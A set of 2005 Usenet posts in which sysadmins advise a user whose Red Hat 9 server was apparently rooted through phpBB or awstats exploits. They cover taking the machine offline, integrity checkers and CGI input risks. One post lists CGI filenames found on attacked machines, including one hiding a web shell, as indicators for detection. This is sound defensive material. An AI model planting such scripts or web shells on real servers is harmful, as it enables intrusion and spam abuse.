Security Experts, help, what is this (bad stuff)?

Michael Heiming wrote:
>
> Sounds great + noble! Would be interesting to know, how many of
> them are happily used with Linux on them and which percentage
> will be wiped and installed with some illegal doze copy?
>
> What kind of distro do you install? What about support, do those
> people get rootly powers or any other help? What about updates,
> presuming most people will connect them to the internet?
>
The computers are all 400 to 800 MHz Pentium with 256Meg of RAM plus CD,
Nic, Hard drive, and Monitor etc. The company has upgraded to new Dells
with LCD displays and 3 GHz processors. It must be nice to have way too
much money. Most of the machines are only used for email, browsing, and
word processing. The old machines were okay for that.

I imagine that most of the machine will stay Linux as most of the people
who will get the systems a) are not technical, b) not wealthy, c) pretty
honest.

I will either use Fedora Core 3 or Ubuntu 5.04. Both of these have a
pretty good update facility. I haven't decided yet on "rootly powers",
as for other help I will set them up with sshd+key so I can login and
help if people want me to. I will also put a web page together to help
the group and a BBS/Wiki.

I don't plan on putting a whole lot of stuff on the systems, just a
basic desktop, browser, email, OpenOffice, a couple of games and that is
it. No servers other than sshd and that with private key access only for
me. All of the systems will have iptables set up with almost nothing open.

I hope some of the people will enjoy the systems enough to become Linux
disciples and maybe even learn a little bit about computers and
programming; but that may be asking way too much.

Ohmster <notareal@emailaddress.com> wrote:

> Appreciate the actual, helpful advice and that you did not give me the
> "get it off the net, NOW" advice with little or nothing else to
> actually address the issues at hand.

Ohmster, there's a reason why advice _starts_ with "Get it off the Net,
NOW:" Your very first and most important task simply has to be to
reassert control over any root-compromised machine. Until you do that,
you don't know what the machine is really doing and what it's about to
do. It may be committing criminal acts in your name. It may be sending
out your business data to unknown third parties.

It may be about to execute a planned auto-erase of all your hard drives.

Thus, the standard first step that is _always_ recommended is to
reassert control by bringing the machine down immediately -- I would
even (normally) just cut the power -- and only then taking other
recovery and rebuilding steps.

It's admittedly painful to deal with the resulting downtime, while you
construct a substitute box, but you may be averting a _lot_ worse things
by so doing. I'm sorry it's unpalateable advice, but we're honestly not
kidding, and have excellent reasons for making the recommendation -- and
(speaking for myself) follow it, ourselves.

Don't kid yourself into thinking this matters only to sysadmins: If
you're running network daemons on the Internet, you're a sysadmin.
Congratulations. Now, don't screw up. ;->

--
Cheers,
Rick Moen "vi is my shepherd; I shall not font."
rick@linuxmafia.com -- Psalm 0.1 beta

Bev A. Kupf <bevakupf@myhome.net> wrote:

> If you aren't running mission critical services, then be less
> recalcitrant to pull the plug. I think that Rick Moen wrote a really
> nice article in response to your post, describing his own experience,
> and how long it took him to get back online. Keeping in mind
> that Rick is an expert on Linux security, I think his approach
> is worth giving serious consideration to.

Thanks for the kind words. I'm not an expert on Linux security, though,
just a sysadmin who considers security interesting.

Just to clarify, that "22 hours" of elapsed time, from the moment AIDE
informed me the system had been rooted (via an awstats CGI exploit I'd
carelessly left exposed) until rebuild was complete and services
restored, _did_ include six hours of sleep and a full work day
elsewhere.

System rebuild probably ate about 6-7 hours of my life. The 22 hour
figure -- system downtime -- is what the _users_ would care about, since
they don't give a damn if you eat or earn a salary. ;->

Rick Moen <rick@linuxmafia.com> wrote in news:64707$42774313$c690c3ba$788
@TSOFT.COM:

> Ohmster, there's a reason why advice _starts_ with "Get it off the Net,
> NOW:" Your very first and most important task simply has to be to
> reassert control over any root-compromised machine. Until you do that,
> you don't know what the machine is really doing and what it's about to
> do. It may be committing criminal acts in your name. It may be
sending
> out your business data to unknown third parties.
>
> It may be about to execute a planned auto-erase of all your hard
drives.
>
> Thus, the standard first step that is _always_ recommended is to
> reassert control by bringing the machine down immediately -- I would
> even (normally) just cut the power -- and only then taking other
> recovery and rebuilding steps.
>
> It's admittedly painful to deal with the resulting downtime, while you
> construct a substitute box, but you may be averting a _lot_ worse
things
> by so doing. I'm sorry it's unpalateable advice, but we're honestly
not
> kidding, and have excellent reasons for making the recommendation --
and
> (speaking for myself) follow it, ourselves.
>
> Don't kid yourself into thinking this matters only to sysadmins: If
> you're running network daemons on the Internet, you're a sysadmin.
> Congratulations. Now, don't screw up. ;->

Agreed. You all were right, maybe you did not have the evidence to show
it at the time, but I looked and I looked and gosh darn it, you were all
right. Looks like I got nailed with either the phpbb or awstats hack,
either one or both, but I had both doors open and I got hit. Bastards
were running stupid stuff in /var/tmp, all as user apache. Thank God that
apache did not run with root access. They got a virus in, could not run
it at root though. They got tons of spam through, because apache could
indeed mail. Intersting, sucks, but really interesting.

Will do much better with FC3, emphasis on security this time and no
stupid stuff like awstats or phpbb unless they could be deemed "safe". At
the time that I installed phpbb and awstats, they were considered safe,
but the baddies got in and the exploit was found later. Do you think that
awstats or phpbb could ever be truly considered "safe" to install and
run, even though these exploits have been found and patched out of the
programs? I like awstats and I like phpbb but if that means I am open to
another hack attack, then no dice.
--
~Ohmster
ohmster at newsguy dot com

On Wed, 04 May 2005 02:05:37 GMT,
Ohmster (notareal@emailaddress.com) wrote:
> At
> the time that I installed phpbb and awstats, they were considered safe,
> but the baddies got in and the exploit was found later.

Most often the "baddies" are script kiddies. I don't know how old the
phpbb and awstats exploits are, but the odds are high that they weren't
first discovered on your system, i.e. the baddies most likely got in
_after_ the exploit was known, rather than discover it first on your
system.
--
Many a smale maketh a grate -- Geoffrey Chaucer

Ohmster <notareal@emailaddress.com> wrote:

> Agreed. You all were right, maybe you did not have the evidence to show
> it at the time, but I looked and I looked and gosh darn it, you were all
> right.

Dammit, I _hate_ it when that happens! ;->

> Looks like I got nailed with either the phpbb or awstats hack,
> either one or both, but I had both doors open and I got hit.

Honestly, by April 2005, RH9 had so many unfixed holes in it that it's
pretty much academic. That's probably why most people here went so
directly and forcefully to the "Get it off the Net" phase: We all
thought, "Let's see, last updates for RH9 would have been April '04,
so he's almost certainly been running a completely unmaintained distro
for a full year. _With_ phpbb and CGIs? He's toast. Wipe and
reinstall -- and it'd take a miracle to figure out which of the myriad
likely vulnerbilities the kiddies used."

Security is a somewhat difficult problem -- but (in many cases) figuring
out the exact path by which a machine was compromised is _really_
difficult. Running a file-based IDS (aka integrity checker) such as
AIDE, Integrit, Samhain, Tripwire, etc. makes it easier, because (if the
baddies didn't just wipe out the IDS records) you can at least see what
got changed. But you didn't have one of those.

> Bastards were running stupid stuff in /var/tmp, all as user apache.
> Thank God that apache did not run with root access. They got a virus
> in, could not run it at root though.

So, here's one more discomfiting question, to add to your existing pile:
How do you _know_ the kiddies didn't get root? It's a tough and subtle
question -- one that might equally be asked of any other Linux admin, at
any time: What's the nature of your reason to believe that your system
hasn't been cracked? We normally have mostly absence of evidence to
draw upon: We look around for suspicious activity, fail to find any,
and guess/conclude that (we think, we hope) nobody has compromised our
system security.

A properly set up, configured, and monitored file-based IDS adds to that
picture an additional, slightly higher grade of justification for that
belief: We then know that, as of the last IDS report, if we've
succeeded in making it tamper-resistant and made it watch all the right
things, a bunch of files we consider crucial haven't been fooled with.

Further beyond that, you can check machine A from a second, nearby
machine B, where a network IDS (nmap, snort, nessus...) watches machine
A for suspicious network activity.

Potentially, all of this paranoia could chew up too much of your time,
so you script and automate where you can. Welcome to my profession.

> Will do much better with FC3, emphasis on security this time and no
> stupid stuff like awstats or phpbb unless they could be deemed "safe". At
> the time that I installed phpbb and awstats, they were considered safe,
> but the baddies got in and the exploit was found later. Do you think that
> awstats or phpbb could ever be truly considered "safe" to install and
> run, even though these exploits have been found and patched out of the
> programs?

Let's talk about those individually. awstats is the easy one: The fact
that it posts system stats on a Web page isn't dangerous. What's
dangerous is that it does so via a (not-well-designed-and-debugged) CGI.
Programs that can be fed arbitrary data from the public need to be
_very_ carefully written, taking great care to "sanitise" (validate)
input data; otherwise, a canny member of the public can overload the
input routines with deliberately malformed, and/or excessive data
designed to overflow program structure and trigger a fault condition
that the bad guys can exploit.

Guess what? A CGI like awstats _does_ accept public input -- in the
form of data passed to it from the URL. But awstats has proven to be
buggy in its input handling.

There's no reason why awstats _needs_ to run as a CGI in order to merely
generate Web statistics. The obvious alternative would be to set it up
as a cronjob, preventing crafty members of the public from attacking it
from its URL input interface.

Want to know how exactly to do that, with awstats? Well, sorry, I
haven't yet had time to look into that. So far, I've merely deinstalled
the thing, intending to look into the matter later.


OK, that leaves the more-complex matter, that of developed PHP apps such
as (in particular) phpBB. The phpBB codebase has had quite a string of
problems, over the last couple of years. I also remember the
development site's docs acknowledging for a while that, yeah, requiring
you to have "register_globals = On" in php.ini was security-reckless,
but you'll just have to live with that until they rewrite a bunch of
their code. I vaguely recall that they eventually fixed that, but I was
rather less than impressed.

As to the bigger picture, of how you decide what PHP apps are
sufficiently safe, and what php.ini configuration is acceptable, and how
you fix (if at all) PHP things that break when you tighten php.ini more
than they can cope with -- well, I wasn't kidding when I said I would be
seeing if there were an article in this for me. When/if I write it,
you'll have to read it mostly there (wherever "there" is), and not here.

If you missed the list of URLs where you can read about / research PHP
security issues, I've archived it and some other stuff, here:

"PHP" on http://linuxmafia.com/kb/Security/

--
Cheers, "Heedless of grammar, they all cried 'It's him!'"
Rick Moen -- R.H. Barham, _Misadventure at Margate_
rick@linuxmafia.com

Ohmster <notareal@emailaddress.com> wrote:
+---------------
| I have been having what I thought was a formmail exploit on my machine.
| know that when I have these spam attacks, I have an unknown process
| running and owned by apache that takes up 99% CPU.
+---------------

Also look for CGI scripts with any of the following names,
many of which showed up in a machine I help support which
was attacked multiple times last year:

af.cgi
cgiemail/contact.txt
cgiemail/feedback.txt
contact.cgi
contact.pl
email.cgi
email.pl
ezformml.cgi
feedback.cgi
feedback.pl
guestbook.pl
fmail.pl
form.cgi
form.pl
formmail
formmail.pl
FormMail.pl
formmail2.pl
mail.cgi
mail.pl
mailer/mailer.cgi
mailform.pl
npl_mailer.cgi
sender.pl

The "guestbook.pl" turned out to be particularly nasty, in
that when it is accessed it gives a "CGI-Telnet" login screen!!
[That's right, a !@&^%$@# web-based *shell*!!]


-Rob

-----
Rob Warnock <rpw3@rpw3.org>
627 26th Avenue <URL:http://rpw3.org/>
San Mateo, CA 94403 (650)572-2607

"Bev A. Kupf" <bevakupf@myhome.net> wrote in
news:slrnd7gg7k.mq4.bevakupf@myhome.net:

> Most often the "baddies" are script kiddies. I don't know how old the
> phpbb and awstats exploits are, but the odds are high that they weren't
> first discovered on your system, i.e. the baddies most likely got in
> _after_ the exploit was known, rather than discover it first on your
> system.

Thanks for all of your help, Bev. I have fedora core 3 up and running and
did not install any stats or message boards. Will have to be very careful
about that in the future.

--
~Ohmster
ohmster at newsguy dot com